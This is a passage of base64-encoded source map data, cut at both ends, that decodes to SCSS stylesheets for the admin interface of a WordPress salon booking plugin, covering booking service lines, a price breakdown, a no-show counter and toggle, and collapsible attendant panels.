ZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0XHRcdC8vYmFja2dyb3VuZC1jb2xvcjogc2xuLW51Y29sb3ItLWdyZXktLWxpZ2h0ZXIoMC4zKTtcblx0XHRcdFx0LnNlbGVjdDItc2VsZWN0aW9uLS1zaW5nbGUsXG5cdFx0XHRcdC5zZWxlY3QyLXNlbGVjdGlvbi0tbXVsdGlwbGUge1xuXHRcdFx0XHRcdGJvcmRlci1jb2xvcjogdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnRcblx0XHRcdFx0XHRcdGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQgdHJhbnNwYXJlbnQ7XG5cdFx0XHRcdFx0Ji5zZWxlY3QyLXNlbGVjdGlvbi0tc2luZ2xlLXdhcm5pbmcge1xuXHRcdFx0XHRcdFx0Ym9yZGVyLWNvbG9yOiAjZThhYTg3O1xuXHRcdFx0XHRcdH1cblx0XHRcdFx0XHQvL2JvcmRlci13aWR0aDogMCAwIDFweCAwO1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmVfX2xhYmVsIHtcblx0XHRcdFx0XHRwYWRkaW5nOiAwIDFyZW07XG5cdFx0XHRcdH1cblx0XHRcdFx0LnNsbi1ib29raW5nLXNlcnZpY2UtLW1vdmUtbGluZSB7XG5cdFx0XHRcdFx0Z3JpZC1jb2x1bW46IDE7XG5cdFx0XHRcdFx0Z3JpZC1yb3c6IDEgLyBzcGFuIDI7XG5cdFx0XHRcdFx0YmFja2dyb3VuZC1jb2xvcjogY29sb3JzLW51LnNsbi1hZG1pbl9udWNvbG9yLS1tYWluLS1saWdodChcblx0XHRcdFx0XHRcdDAuMjVcblx0XHRcdFx0XHQpO1xuXHRcdFx0XHRcdHRyYW5zaXRpb246IGFsbCAwLjE1cztcblx0XHRcdFx0XHRAbWVkaWEgKGhvdmVyOiBob3Zlcikge1xuXHRcdFx0XHRcdFx0Jjpob3ZlciB7XG5cdFx0XHRcdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tYWRtaW5fbnVjb2xvci0tbWFpbi0tbGlnaHQoXG5cdFx0XHRcdFx0XHRcdFx0MC41XG5cdFx0XHRcdFx0XHRcdCk7XG5cdFx0XHRcdFx0XHR9XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1pdGVtc2VsZWN0aW9uIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMiAvIHNwYW4gMztcblx0XHRcdFx0XHRncmlkLXJvdzogMTtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLWJvb2tpbmctc2VydmljZS0tc3RhcnRlbmQge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiAyO1xuXHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHRcdGxhYmVsLnRpbWUge1xuXHRcdFx0XHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRcdFx0XHRoZWlnaHQ6IDIuNXJlbTtcblx0XHRcdFx0XHRcdGxpbmUtaGVpZ2h0OiAyLjVyZW07XG5cdFx0XHRcdFx0XHRtYXJnaW4tYm90dG9tOiAwO1xuXHRcdFx0XHRcdFx0cGFkZGluZzogMCAxcmVtO1xuXHRcdFx0XHRcdFx0Ym9yZGVyLWJvdHRvbTogMXB4IHNvbGlkIGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0XHRcdFx0fVxuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1yZXNvdXJjZXMge1xuXHRcdFx0XHRcdGdyaWQtY29sdW1uOiA0O1xuXHRcdFx0XHRcdGdyaWQtcm93OiAyO1xuXHRcdFx0XHR9XG5cdFx0XHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLS1hdHRlbmRhbnRzIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogMztcblx0XHRcdFx0XHRncmlkLXJvdzogMjtcblx0XHRcdFx0fVxuXHRcdFx0XHQuc2xuLWJvb2tpbmctc2VydmljZS0tYWN0aW9uIHtcblx0XHRcdFx0XHRncmlkLWNvbHVtbjogNTtcblx0XHRcdFx0XHRncmlkLXJvdzogMSAvIHNwYW4gMjtcblx0XHRcdFx0fVxuXHRcdFx0fVxuXHRcdH1cblx0fVxufVxuI3Nsbi1zYWxvbi0tYWRtaW4gI3Nsbl9ib29raW5nLWRldGFpbHMgI3Nsbl9ib29raW5nX3NlcnZpY2VzLm1vdmluZyB7XG5cdC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmU6bm90KC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmUtLW1vdmUpIHtcblx0XHRvcGFjaXR5OiAwLjM1O1xuXHRcdHBvaW50ZXItZXZlbnRzOiBub25lO1xuXHRcdC13ZWJraXQtdXNlci1zZWxlY3Q6IG5vbmU7XG5cdFx0dXNlci1zZWxlY3Q6IG5vbmU7XG5cdH1cblxuXHQuc2xuLWJvb2tpbmctc2VydmljZS1saW5lLnNsbi1ib29raW5nLXNlcnZpY2UtbGluZS0tbW92ZVxuXHRcdC5zbG4tYm9va2luZy1zZXJ2aWNlLWxpbmVfX2NvbnRlbnRcblx0XHRkaXY6bm90KC5zbG4tYm9va2luZy1zZXJ2aWNlLS1tb3ZlLWxpbmUpIHtcblx0XHRwb2ludGVyLWV2ZW50czogbm9uZTtcblx0XHQtd2Via2l0LXVzZXItc2VsZWN0OiBub25lO1xuXHRcdHVzZXItc2VsZWN0OiBub25lO1xuXHR9XG59XG5cbi8vIEJvb2tpbmcgVG90YWwgQnJlYWtkb3duIERpc3BsYXlcbi5zbG4tYm9va2luZy1icmVha2Rvd24ge1xuXHRtYXJnaW4tdG9wOiBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRtYXJnaW4tYm90dG9tOiBzZXR0aW5ncy1taXhpbnMucmVtKDEwcHgpO1xuXHRcblx0LnNsbi1ib29raW5nLWJyZWFrZG93bl9fY29udGVudCB7XG5cdFx0cGFkZGluZzogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNXB4KSBzZXR0aW5ncy1taXhpbnMucmVtKDIwcHgpO1xuXHRcdGJhY2tncm91bmQtY29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tZ3JleS0tbGlnaHQoMC4zKTtcblx0XHRib3JkZXI6IDFweCBzb2xpZCBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC4yKTtcblx0XHRib3JkZXItcmFkaXVzOiA0cHg7XG5cdFx0XG5cdFx0LnNsbi1ib29raW5nLWJyZWFrZG93bl9fdGl0bGUge1xuXHRcdFx0bWFyZ2luOiAwIDAgc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KSAwO1xuXHRcdFx0Zm9udC1zaXplOiBzZXR0aW5ncy1taXhpbnMucmVtKDE1cHgpO1xuXHRcdFx0Zm9udC13ZWlnaHQ6IDYwMDtcblx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG5cdFx0fVxuXHRcdFxuXHRcdC5zbG4tYnJlYWtkb3duLWxpbmUge1xuXHRcdFx0ZGlzcGxheTogZmxleDtcblx0XHRcdGp1c3RpZnktY29udGVudDogc3BhY2UtYmV0d2Vlbjtcblx0XHRcdGFsaWduLWl0ZW1zOiBjZW50ZXI7XG5cdFx0XHRwYWRkaW5nOiBzZXR0aW5ncy1taXhpbnMucmVtKDhweCkgMDtcblx0XHRcdGJvcmRlci1ib3R0b206IDFweCBzb2xpZCBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLW1haW4oMC4xKTtcblx0XHRcdFxuXHRcdFx0JjpsYXN0LW9mLXR5cGUge1xuXHRcdFx0XHRib3JkZXItYm90dG9tOiBub25lO1xuXHRcdFx0fVxuXHRcdFx0XG5cdFx0XHQuc2xuLWJyZWFrZG93bi1sYWJlbCB7XG5cdFx0XHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNHB4KTtcblx0XHRcdFx0Y29sb3I6IGNvbG9ycy1udS5zbG4tbnVjb2xvci0tdGV4dCgwLjg1KTtcblx0XHRcdH1cblx0XHRcdFxuXHRcdFx0LnNsbi1icmVha2Rvd24tdmFsdWUge1xuXHRcdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMTRweCk7XG5cdFx0XHRcdGZvbnQtd2VpZ2h0OiA1MDA7XG5cdFx0XHRcdGNvbG9yOiBjb2xvcnMtbnUuc2xuLW51Y29sb3ItLXRleHQoMSk7XG5cdFx0XHR9XG5cdFx0XHRcblx0XHRcdCYuc2xuLWJyZWFrZG93bi1kaXNjb3VudCB7XG5cdFx0XHRcdC5zbG4tYnJlYWtkb3duLWxhYmVsLFxuXHRcdFx0XHQuc2xuLWJyZWFrZG93bi12YWx1ZSB7XG5cdFx0XHRcdFx0Y29sb3I6ICMyOGE3NDU7IC8vIEdyZWVuIGZvciBkaXNjb3VudFxuXHRcdFx0XHRcdGZvbnQtd2VpZ2h0OiA2MDA7XG5cdFx0XHRcdH1cblx0XHRcdH1cblx0XHRcdFxuXHRcdFx0Ji5zbG4tYnJlYWtkb3duLXRvdGFsIHtcblx0XHRcdFx0bWFyZ2luLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSg4cHgpO1xuXHRcdFx0XHRwYWRkaW5nLXRvcDogc2V0dGluZ3MtbWl4aW5zLnJlbSgxMnB4KTtcblx0XHRcdFx0Ym9yZGVyLXRvcDogMnB4IHNvbGlkIGNvbG9ycy1udS5zbG4tbnVjb2xvci0tbWFpbigwLjMpO1xuXHRcdFx0XHRib3JkZXItYm90dG9tOiBub25lO1xuXHRcdFx0XHRcblx0XHRcdFx0LnNsbi1icmVha2Rvd24tbGFiZWwsXG5cdFx0XHRcdC5zbG4tYnJlYWtkb3duLXZhbHVlIHtcblx0XHRcdFx0XHRmb250LXNpemU6IHNldHRpbmdzLW1peGlucy5yZW0oMTZweCk7XG5cdFx0XHRcdFx0Zm9udC13ZWlnaHQ6IDcwMDtcblx0XHRcdFx0XHRjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS1tYWluKDEpO1xuXHRcdFx0XHR9XG5cdFx0XHR9XG5cdFx0fVxuXHR9XG59XG4iLCIvLyBOby1TaG93IENvdW50IGFuZCBUb2dnbGUgU3R5bGVzIGZvciBCb29raW5nIE1ldGFib3hcbkB1c2UgJy4uL2NvbG9ycy1udSc7XG5AdXNlICcuLi9hZG1pbl9jb25maWcnO1xuXG4vLyBXcmFwcGVyIGZvciBuby1zaG93IHRyYWNraW5nIHNlY3Rpb25cbi5zbG4tbm9zaG93LXdyYXBwZXIge1xuICAgIGRpc3BsYXk6IGZsZXg7XG4gICAgZmxleC1kaXJlY3Rpb246IGNvbHVtbjtcbiAgICBtYXJnaW4tYm90dG9tOiAycmVtO1xuICAgIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgICBjb2xvcjogcmdiKDAsIDUzLCA4Myk7XG4gICAgb3ZlcmZsb3c6IHZpc2libGUgIWltcG9ydGFudDtcbn1cblxuLy8gQ29udGFpbmVyIGZvciBjb3VudCBhbmQgdG9nZ2xlIC0gZGlzcGxheXMgaW5saW5lXG4uc2xuLW5vc2hvdyB7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBmbGV4LWRpcmVjdGlvbjogcm93O1xuICAgIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gICAganVzdGlmeS1jb250ZW50OiBmbGV4LXN0YXJ0O1xuICAgIGdhcDogMXJlbTtcbiAgICBtaW4taGVpZ2h0OiA1MiU7XG59XG5cbi8vIE5vLVNob3cgQ291bnQgRGlzcGxheSAtIG1hdGNoZXMgc2xuLWJvb2tpbmctY3VzdG9tZXItc2NvcmUtLXZhbHVlXG4uc2xuLW5vc2hvdy1jb3VudCB7XG4gICAgZGlzcGxheTogZmxleDtcbiAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIHdpZHRoOiA1MCU7XG4gICAgaGVpZ2h0OiAxMDAlO1xuICAgIG1pbi1oZWlnaHQ6IDMuNXJlbTtcbiAgICBmb250LXNpemU6IDEuNzVyZW07XG4gICAgZm9udC13ZWlnaHQ6IDYwMDtcbiAgICBjb2xvcjogY29sb3JzLW51LnNsbi1udWNvbG9yLS10ZXh0KDEpO1xuICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICBib3JkZXItcmFkaXVzOiA1cHg7XG4gICAgYmFja2dyb3VuZDogI0Y4RjlGQjtcblxuICAgIC5zbG4tbm9zaG93LWNvdW50X192YWx1ZSB7XG4gICAgICAgIGxpbmUtaGVpZ2h0OiAxO1xuICAgIH1cbn1cblxuLy8gTm8tU2hvdyBUb2dnbGUgQnV0dG9uIC0gbWF0Y2hlcyBjYWxlbmRhciB0b29sdGlwIGFjdGlvblxuLnNsbi1ub3Nob3ctdG9nZ2xlIHtcbiAgICBkaXNwbGF5OiBmbGV4O1xuICAgIGp1c3RpZnktY29udGVudDogZmxleC1zdGFydDtcbiAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgIHdpZHRoOiBhdXRvO1xuICAgIGhlaWdodDogMTAwJTtcbiAgICBib3JkZXItcmFkaXVzOiA1cHg7XG4gICAgcGFkZGluZzogMDtcbiAgICBvdmVyZmxvdzogdmlzaWJsZSAhaW1wb3J0YW50O1xuXG4gICAgLnNsbi1ub3Nob3ctdG9nZ2xlX19idXR0b24ge1xuICAgICAgICAvLyBNYXRjaCBleGFjdCBjYWxlbmRhciB0b29sdGlwIGFjdGlvbiBzdHlsaW5nXG4gICAgICAgIGRpc3BsYXk6IGlubGluZS1mbGV4O1xuICAgICAgICBhbGlnbi1pdGVtczogY2VudGVyO1xuICAgICAgICBqdXN0aWZ5LWNvbnRlbnQ6IGNlbnRlcjtcbiAgICAgICAgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7XG4gICAgICAgIGJvcmRlci1yYWRpdXM6IDZweDtcbiAgICAgICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICAgICB0cmFuc2l0aW9uOiBhbGwgMC4ycyBlYXNlO1xuICAgICAgICB0ZXh0LWRlY29yYXRpb246IG5vbmU7XG4gICAgICAgIGNvbG9yOiAjMjE3MUIxO1xuICAgICAgICBmb250LXNpemU6IDE0cHg7XG4gICAgICAgIHRyYW5zZm9ybTogc2NhbGUoMSk7XG4gICAgICAgIGJvcmRlcjogbm9uZTtcbiAgICAgICAgb3V0bGluZTogbm9uZTtcbiAgICAgICAgYm94LXNoYWRvdzogbm9uZTtcbiAgICAgICAgcGFkZGluZzogMDtcbiAgICAgICAgbGluZS1oZWlnaHQ6IDE7XG5cbiAgICAgICAgaS5zbG4taWNvbi0tbm8tc2hvdyB7XG4gICAgICAgICAgICAvLyBNYXRjaCBleGFjdCBjYWxlbmRhciBpY29uIHNpemluZ1xuICAgICAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICAgICAgd2lkdGg6IDIuMjVyZW0gIWltcG9ydGFudDtcbiAgICAgICAgICAgIGhlaWdodDogMi4yNXJlbSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogY3VycmVudENvbG9yICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAtd2Via2l0LW1hc2stc2l6ZTogMS43NXJlbSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgbWFzay1zaXplOiAxLjc1cmVtICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAtd2Via2l0LW1hc2stcmVwZWF0OiBuby1yZXBlYXQgIWltcG9ydGFudDtcbiAgICAgICAgICAgIG1hc2stcmVwZWF0OiBuby1yZXBlYXQgIWltcG9ydGFudDtcbiAgICAgICAgICAgIC13ZWJraXQtbWFzay1wb3NpdGlvbjogY2VudGVyICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICBtYXNrLXBvc2l0aW9uOiBjZW50ZXIgIWltcG9ydGFudDtcbiAgICAgICAgICAgIC8vIERFQlVHOiBUZW1wb3JhcnkgYm9yZGVyIHRvIHNlZSBhY3R1YWwgYm91bmRhcmllc1xuICAgICAgICAgICAgLy8gb3V0bGluZTogMXB4IGRhc2hlZCByZWQgIWltcG9ydGFudDtcbiAgICAgICAgICAgIC13ZWJraXQtbWFzay1pbWFnZTogdXJsKFwiZGF0YTppbWFnZS9zdmcreG1sLCUzQ3N2ZyB2aWV3Qm94PScwIDAgMzIgMzInIGZpbGw9J25vbmUnIHhtbG5zPSdodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyclM0UlM0NwYXRoIGQ9J00yMy43Nzc4IDE3LjI1QzIzLjc3NzggMTYuMzg4IDI0LjEwNTYgMTUuNTYxNCAyNC42ODkgMTQuOTUxOUMyNS4yNzI0IDE0LjM0MjQgMjYuMDYzOCAxNCAyNi44ODg5IDE0QzI3LjcxNCAxNCAyOC41MDUzIDE0LjM0MjQgMjkuMDg4OCAxNC45NTE5QzI5LjY3MjIgMTUuNTYxNCAzMCAxNi4zODggMzAgMTcuMjVWMjMuNzVNMjYuODg4OSAyN0g1LjExMTExQzQuMjg1OTkgMjcgMy40OTQ2NyAyNi42NTc2IDIuOTExMjIgMjYuMDQ4MUMyLjMyNzc4IDI1LjQzODYgMiAyNC42MTIgMiAyMy43NVYxNy4yNUMyIDE2LjM4OCAyLjMyNzc4IDE1LjU2MTQgMi45MTEyMiAxNC45NTE5QzMuNDk0NjcgMTQuMzQyNCA0LjI4NTk5IDE0IDUuMTExMTEgMTRDNS45MzYyMyAxNCA2LjcyNzU1IDE0LjM0MjQgNy4zMTEgMTQuOTUxOUM3Ljg5NDQ1IDE1LjU2MTQgOC4yMjIyMiAxNi4zODggOC4yMjIyMiAxNy4yNVYyMC41SDIwLjcyMjcnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMycgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0NwYXRoIGQ9J001IDE0VjYuNTAwMDFDNC45OTk0NyA2LjA0NzQzIDUuMDcwNDUgNS41OTczNyA1LjIxMDU3IDUuMTY1MDFNOC4zMzMgMi4xOTUwMUM4Ljc4MDc0IDIuMDY0OTIgOS4yNDYyNyAxLjk5OTIgOS43MTQyOSAyLjAwMDAxSDIyLjI4NTdDMjMuNTM2IDIuMDAwMDEgMjQuNzM1MSAyLjQ3NDExIDI1LjYxOTIgMy4zMTgwM0MyNi41MDMzIDQuMTYxOTQgMjcgNS4zMDY1MyAyNyA2LjUwMDAxVjE0JyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzMnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNNyAyN1YzMCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSczJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQ3BhdGggZD0nTTI1IDI3VjMwJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzMnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNMiAyTDMwIDMwJyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzMnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDL3N2ZyUzRVwiKTtcbiAgICAgICAgICAgIG1hc2staW1hZ2U6IHVybChcImRhdGE6aW1hZ2Uvc3ZnK3htbCwlM0Nzdmcgdmlld0JveD0nMCAwIDMyIDMyJyBmaWxsPSdub25lJyB4bWxucz0naHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmcnJTNFJTNDcGF0aCBkPSdNMjMuNzc3OCAxNy4yNUMyMy43Nzc4IDE2LjM4OCAyNC4xMDU2IDE1LjU2MTQgMjQuNjg5IDE0Ljk1MTlDMjUuMjcyNCAxNC4zNDI0IDI2LjA2MzggMTQgMjYuODg4OSAxNEMyNy43MTQgMTQgMjguNTA1MyAxNC4zNDI0IDI5LjA4ODggMTQuOTUxOUMyOS42NzIyIDE1LjU2MTQgMzAgMTYuMzg4IDMwIDE3LjI1VjIzLjc1TTI2Ljg4ODkgMjdINS4xMTExMUM0LjI4NTk5IDI3IDMuNDk0NjcgMjYuNjU3NiAyLjkxMTIyIDI2LjA0ODFDMi4zMjc3OCAyNS40Mzg2IDIgMjQuNjEyIDIgMjMuNzVWMTcuMjVDMiAxNi4zODggMi4zMjc3OCAxNS41NjE0IDIuOTExMjIgMTQuOTUxOUMzLjQ5NDY3IDE0LjM0MjQgNC4yODU5OSAxNCA1LjExMTExIDE0QzUuOTM2MjMgMTQgNi43Mjc1NSAxNC4zNDI0IDcuMzExIDE0Ljk1MTlDNy44OTQ0NSAxNS41NjE0IDguMjIyMjIgMTYuMzg4IDguMjIyMjIgMTcuMjVWMjAuNUgyMC43MjI3JyBzdHJva2U9J3doaXRlJyBzdHJva2Utd2lkdGg9JzMnIHN0cm9rZS1saW5lY2FwPSdyb3VuZCcgc3Ryb2tlLWxpbmVqb2luPSdyb3VuZCcvJTNFJTNDcGF0aCBkPSdNNSAxNFY2LjUwMDAxQzQuOTk5NDcgNi4wNDc0MyA1LjA3MDQ1IDUuNTk3MzcgNS4yMTA1NyA1LjE2NTAxTTguMzMzIDIuMTk1MDFDOC43ODA3NCAyLjA2NDkyIDkuMjQ2MjcgMS45OTkyIDkuNzE0MjkgMi4wMDAwMUgyMi4yODU3QzIzLjUzNiAyLjAwMDAxIDI0LjczNTEgMi40NzQxMSAyNS42MTkyIDMuMzE4MDNDMjYuNTAzMyA0LjE2MTk0IDI3IDUuMzA2NTMgMjcgNi41MDAwMVYxNCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSczJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQ3BhdGggZD0nTTcgMjdWMzAnIHN0cm9rZT0nd2hpdGUnIHN0cm9rZS13aWR0aD0nMycgc3Ryb2tlLWxpbmVjYXA9J3JvdW5kJyBzdHJva2UtbGluZWpvaW49J3JvdW5kJy8lM0UlM0NwYXRoIGQ9J00yNSAyN1YzMCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSczJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQ3BhdGggZD0nTTIgMkwzMCAzMCcgc3Ryb2tlPSd3aGl0ZScgc3Ryb2tlLXdpZHRoPSczJyBzdHJva2UtbGluZWNhcD0ncm91bmQnIHN0cm9rZS1saW5lam9pbj0ncm91bmQnLyUzRSUzQy9zdmclM0VcIik7XG4gICAgICAgIH1cblxuICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgIGNvbG9yOiAjMWE1YThlICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEuMSk7XG4gICAgICAgIH1cblxuICAgICAgICAmOmFjdGl2ZSB7XG4gICAgICAgICAgICB0cmFuc2Zvcm06IHNjYWxlKDEpO1xuICAgICAgICB9XG5cbiAgICAgICAgJi5hY3RpdmUge1xuICAgICAgICAgICAgY29sb3I6ICNFQzFFMUUgIWltcG9ydGFudDtcbiAgICAgICAgICAgIFxuICAgICAgICAgICAgaS5zbG4taWNvbi0tbm8tc2hvdyB7XG4gICAgICAgICAgICAgICAgYmFja2dyb3VuZC1jb2xvcjogI0VDMUUxRSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgXG4gICAgICAgICAgICAmOmhvdmVyIHtcbiAgICAgICAgICAgICAgICBjb2xvcjogI2QxMWExYSAhaW1wb3J0YW50O1xuICAgICAgICAgICAgICAgIFxuICAgICAgICAgICAgICAgIGkuc2xuLWljb24tLW5vLXNob3cge1xuICAgICAgICAgICAgICAgICAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZDExYTFhICFpbXBvcnRhbnQ7XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG5cbiAgICAgICAgJi5wcm9jZXNzaW5nIHtcbiAgICAgICAgICAgIG9wYWNpdHk6IDAuNjtcbiAgICAgICAgICAgIGN1cnNvcjogbm90LWFsbG93ZWQ7XG4gICAgICAgICAgICBwb2ludGVyLWV2ZW50czogbm9uZTtcblxuICAgICAgICAgICAgaS5zbG4taWNvbi0tbm8tc2hvdyB7XG4gICAgICAgICAgICAgICAgYW5pbWF0aW9uOiBwdWxzZSAxcyBlYXNlLWluLW91dCBpbmZpbml0ZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfVxuICAgIH1cbn1cblxuQGtleWZyYW1lcyBwdWxzZSB7XG4gICAgMCUsIDEwMCUge1xuICAgICAgICBvcGFjaXR5OiAxO1xuICAgIH1cbiAgICA1MCUge1xuICAgICAgICBvcGFjaXR5OiAwLjU7XG4gICAgfVxufVxuXG4vLyBSZXNwb25zaXZlIGFkanVzdG1lbnRzXG5AbWVkaWEgKG1heC13aWR0aDogNzY3cHgpIHtcbiAgICAuc2xuLW5vc2hvdy13cmFwcGVyIHtcbiAgICAgICAgbWFyZ2luLWJvdHRvbTogMTVweDtcbiAgICB9XG4gICAgXG4gICAgLnNsbi1ub3Nob3cge1xuICAgICAgICBmbGV4LWRpcmVjdGlvbjogY29sdW1uO1xuICAgICAgICBnYXA6IDAuNXJlbTtcbiAgICB9XG4gICAgXG4gICAgLnNsbi1ub3Nob3ctY291bnQge1xuICAgICAgICB3aWR0aDogMTAwJTtcbiAgICB9XG59XG5cbiIsIkB1c2UgXCIuLi9hZG1pbl9jb25maWdcIjtcblxuLndwLWFkbWluLnBvc3QtdHlwZS1zbG5fYXR0ZW5kYW50IHtcblx0LnNsbi1zZXJ2aWNlX19jb2xsYXBzZSB7XG5cdFx0Ly9ib3JkZXItYm90dG9tOiA0cHggc29saWQgI2MzYzRjNztcblx0XHQvL3RyYW5zaXRpb246IGFsbCA1NTBtcztcblx0XHRwb3NpdGlvbjogcmVsYXRpdmU7XG5cdFx0cGFkZGluZy1ib3R0b206IDEwcHg7XG5cdFx0Ly8mOjphZnRlciB7XG5cdFx0Ly9cdGNvbnRlbnQ6IFwiXCI7XG5cdFx0Ly9cdGRpc3BsYXk6IGJsb2NrO1xuXHRcdC8vXHRwb3NpdGlvbjogYWJzb2x1dGU7XG5cdFx0Ly9cdGJvdHRvbTogMDtcblx0XHQvL1x0cmlnaHQ6IDA7XG5cdFx0Ly9cdGxlZnQ6IDA7XG5cdFx0Ly9cdGhlaWdodDogMTBweDtcblx0XHQvL1x0Ym9yZGVyLXRvcDogNHB4IHNvbGlkICMwMDA7XG5cdFx0Ly9cdGJvcmRlci1ib3R0b206IDRweCBzb2xpZCAjMDAwO1xuXHRcdC8vXHRiYWNrZ3JvdW5kLWNvbG9yOiByZWQ7XG5cdFx0Ly99XG5cdFx0Ji5jbG9zZWQge1xuXHRcdFx0aGVpZ2h0OiBhdXRvO1xuXHRcdFx0bWF4LWhlaWdodDogMy4yZW07XG5cdFx0XHRvdmVyZmxvdzogaGlkZGVuO1xuXHRcdFx0dHJhbnNpdGlvbjogbWF4LWhlaWdodCAyNTBtcztcblx0XHRcdCYuc2xuLXNlcnZpY2VfX2NvbGxhcHNlLS10YWxsZXIge1xuXHRcdFx0XHRtYXgtaGVpZ2h0OiA1LjJlbTtcblx0XHRcdH1cblx0XHR9XG5cdFx0Ji5vcGVuIHtcblx0XHRcdGhlaWdodDogYXV0bztcblx0XHRcdG1heC1oZWlnaHQ6IDEwMDBweDtcblx0XHRcdG92ZXJmbG93OiB1bnNldDtcblx0XHRcdHRyYW5zaXRpb246IGFsbCAyNTBtcztcblx0XHR9XG5cdFx0KyAuc2xuLXNlcnZpY2VfX2NvbGxhcHNldHJpZ2dlciB7XG5cdFx0XHRkaXNwbGF5OiBibG9jaztcblx0XHRcdGhlaWdodDogMzBweDtcblx0XHRcdGJvcmRlci10b3A6IDFweCBkYXNoZWQgY3VycmVudENvbG9yO1xuXHRcdFx0cG9zaXRpb246IHJlbGF0aXZlO1xuXHRcdFx0Jjo6YmVmb3JlIHtcblx0XHRcdFx0Y29udGVudDogXCJcIjtcblx0XHRcdFx0ZGlzcGxheTogYmxvY2s7XG5cdFx0XHRcdHdpZHRoOiAxMDAlO1xuXHRcdFx0XHRoZWlnaHQ6IDMwcHg7XG5cdFx0XHRcdGJhY2tncm91bmQtY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0tbGlnaHQ7XG5cdFx0XHRcdHBvc2l0aW9uOiBhYnNvbHV0ZTtcblx0XHRcdFx0dG9wOiAwO1xuXHRcdFx0XHRyaWdodDogMDtcblx0XHRcdFx0b3BhY2l0eTogMDtcblx0XHRcdFx0dHJhbnNpdGlvbjogYWxsIDI1MG1zO1xuXHRcdFx0fVxuXHRcdFx0Jjo6YWZ0ZXIge1xuXHRcdFx0XHRjb250ZW50OiBcIitcIjtcblx0XHRcdFx0d2lkdGg